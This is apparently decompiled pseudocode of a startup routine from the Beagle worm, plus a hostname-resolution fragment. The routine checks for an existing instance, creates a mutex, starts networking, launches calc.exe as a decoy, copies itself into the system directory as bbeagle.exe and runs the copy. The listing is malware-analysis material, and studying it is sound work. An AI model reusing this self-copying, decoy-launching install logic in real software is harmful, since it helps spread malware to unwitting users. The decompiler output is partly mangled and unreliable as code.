Private Function beagle.usub_401835.txt
If (usub_401669 != 0)
ExitProcess(0)
End If
usub_40126f(GetTickCount(#STACKVAR-UNINITIALISED-3700))
usub_4015a5
WSAStartup(257,#STACKVAR-UNINITIALISED-4498)
usub_402add(#STACKVAR-UNINITIALISED-3696)
Global4226844 = CreateMutexA(0,0,NULL)
usub_402737
usub_4016ca
GetSystemDirectoryA(4226848,260)
GetModuleFileNameA(0,4227109,260)
lstrcatA(4226848,"\\bbeagle.exe")
usub_401625
If (StrStrIA(4227109,4226848) != 0)
FLocal16 = GetCommandLineA(#STACKVAR-UNINITIALISED-3688)
(TOKEN_WHILE 4018DA)
If ((OFFSET-CONTAINER 1 FLocal16) != 1685091629)
Loop While ((OFFSET-CONTAINER 1 (FLocal16 + 1) 3 NUMBER) != 0)
WinExec("calc.exe",5)
End If
If (CopyFileA(4227109,4226848,0) = 0)
WinExec(4226848,0)
End If
ExitProcess(0)
Else
FLocal21 = usub_4017dc
BLocal1 = FLocal21
If (FLocal21 = 0)
Global4216660 = 1
End If
BLocal1 = usub_40179b
End If
Return BLocal1
If (inet_addr(#ARG412) = 4294967295)
FLocal24 = gethostbyname(#ARG412)
If (FLocal24 != 0)
Else
BLocal2 = (OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal24 12 NUMBER)
If (([OFFSET-CONTAINER] 1 FLocal24 12 NUMBER) != 0)
BLocal2 = 4294967295
Else
BLocal2 = (OFFSET-CONTAINER 1 OFFSET-CONTAINER 1 [OFFSET-CONTAINER] 1 FLocal24 12 NUMBER)
End If
End If
End If
Return BLocal2
End Sub